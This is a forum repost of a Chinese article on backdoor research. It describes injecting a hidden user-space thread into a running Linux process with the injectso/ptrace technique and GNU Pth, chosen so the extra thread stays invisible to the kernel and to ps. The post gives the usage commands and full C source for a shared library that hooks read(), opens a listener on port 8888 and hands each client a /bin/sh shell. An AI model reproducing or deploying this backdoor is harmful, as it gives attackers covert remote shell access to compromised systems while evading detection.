免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1035 | 回复: 0
打印 上一主题 下一主题

backdoor研究 - 用injectso方法注入线程 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2007-04-06 15:01 |只看该作者 |倒序浏览
作者:jbtzhm
主页:http://www.nsfocus.com
日期:2002-09-16
背景:
      看了grip2翻译整理的《共享库注射--injectso实例》,颇有感触,只是觉得
inject后通过hook read函数只是得到了一次执行权限,这对于后门的实现稍有不足,
在此尝试实现一下linux下线程注入的方法。其实对于p59_08的这名作者来说,可能本
文的讨论已是injectso技术的细节问题了,可是毕竟细节也是需要我们尝试的吧。
环境:
linux
正文:
[separator]
对于injectso本身技术不再讨论,实现细节见phrack49-08文档,和grip2的中文整
理,主要思想是通过ptrace实现在一个进程空间载入一个动态库文件,按grip2文档所
说hook了read函数,使得原进程调用read能使我们获得执行可能,我们主要讨论的是
如何linux下用GNU Pth线程库启动一个线程和原程序并行执行(下面解释不用pthread
的理由)。
[separator]
下面介绍一下线程的概念,线程(thread)技术早在60年代就被提出,但真正应用多
线程到操作系统中去,是在80年代中期,solaris是这方面的佼佼者。传统的Unix也支
持线程的概念,但是在一个进程(process)中只允许有一个线程,这样多线程就意味
着多进程。现在,多线程技术已经被许多操作系统所支持,包括Windows/NT,当然,也
包括Linux。但是线程的实现在类unix下并不相同,基本上分为内核支持方式和用户空
间支持方式,如果线程的上下文切换是在内核中实现的,我们就称之为内核方式实现,
但如果线程的切换是在用户空间进行的我们就称之为用户方式实现,内核并不知情,当
然还有两种方式的混合方式,用户空间中的多个线程在内核空间有相应的内核线程与之
对应(通常我们称此内核线程为LWP-轻级进程)。
好了我们看看linux下线程的实现,linux的线程编程有两个库pthread和pth,对于
pthread的实现是内核方式的实现,每个线程在kernel中都有task结构与之对应,
也就是说用ps命令行是可以看见多个线程,线程的调度也是有内核中的schedule进行
的,这也是我们不采用其进行线程注入的原因(当然如果你不在乎的话,这种实现非常
简单,只要简单的加上pthread_create就可以了),对于linux下还有另一个线程库的实
现pth,它是在用户空间的多线程实现,使用它的好处就是内核并不知道有多线程实
现,因此也不会被察觉进程内有多个分支执行,pth自己对空间内的线程进行管理,用
自己实现的scheduler线程进行调度,但是pth的实现是非抢占方式的,意思就是说一个
线程只有做线程阻塞调用和主动放弃情况下,才有可能去执行调度线程,因此大多数我
们想要注入的程序都不是用pth实现的,因此一旦原程序获得执行可能,它就不可能再
返回给线程调度,也就不可能有我们新建的线程被执行到,因此我们需要需要一个有时
间片的pth的实现,当然在linux下这很简单,我们只要设置定时器setitimer,然后将
SIGALRM信号处理函数指向pth_yield调用,这样只要时间到就让当前线程放弃cpu,转
线程调度就可以了。
    当然在handler函数内部我还是用了fork,这样实现比较简单,而且退出了也就没
了,当然如果你是个完美主义者,在一个进程中实现模拟shell也是可能的。
实现:
gcc -o so.so -shared -fpic -lpth so3.c
./inject [victim pid]
nc localhost 8888
动态库程序的实现见附录,inject程序没有贴上来,可以从injectso文档获取。
参考资料:
grip2翻译整理的《共享库注射--injectso实例》
"GNU Pth - The GNU Portable Threads"
附录:
//so3.c
#include
#include
#include
#include
#include
#include
#define PORT 8888
#define TIMESPEC 50
static void *handler(void *_arg)
{
int fd = (int)_arg;
char *name[2];
if ( fork() == 0 )
{
  dup2( fd, 0 );
  dup2( fd, 1 );
  dup2( fd, 2 );
  close( fd );
  name[0] = "/bin/sh";
  name[1] = 0;
  execve( name[0], name, 0 );
  exit( 0 );
}
wait();
close(fd);
return NULL;
}
/* new thread to get peer connect */
static void *ticker(void *_arg)
{
int sa,sw,peer_len;
struct sockaddr_in sar,peer_addr;
sa = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sar.sin_family = AF_INET;
sar.sin_addr.s_addr = INADDR_ANY;
sar.sin_port = htons(PORT);
bind(sa, (struct sockaddr *)&sar, sizeof(struct sockaddr_in));
listen(sa, 10);
for (;;)
{
  peer_len = sizeof(peer_addr);
  sw = pth_accept(sa, (struct sockaddr *)&peer_addr, &peer_len);
  pth_spawn(PTH_ATTR_DEFAULT, handler, (void *)sw);
  pth_yield(NULL);
}
}
void timeout(int sig)
{
pth_yield(NULL);//yield the cpu to other thread
}
ssize_t  (*oldread)(int fd, void *buf, size_t count);
int flag = 0;
ssize_t  newread(int fd, void *buf, size_t count)
{
ssize_t ret;
FILE *fp;
char ch = '#';
pth_attr_t attr;
struct itimerval value;
ret = oldread(fd, buf, count);
if (flag)
{
//  pth_yield(NULL);
  return ret;
}
flag = 1;
pth_init();
signal(SIGPIPE, SIG_IGN);
signal(SIGALRM, timeout);
attr = pth_attr_new();
pth_attr_set(attr, PTH_ATTR_NAME, "ticker");
pth_attr_set(attr, PTH_ATTR_STACK_SIZE, 64*1024);
pth_attr_set(attr, PTH_ATTR_JOINABLE, FALSE);
pth_spawn(attr, ticker, NULL);
value.it_interval.tv_sec = 0;
value.it_interval.tv_usec = TIMESPEC;
value.it_value.tv_sec = 0;
value.it_value.tv_usec  = TIMESPEC;
setitimer(ITIMER_REAL,&value,NULL);
printf("setitimer here\n");
return ret;
}

本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u/30686/showart_272160.html
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP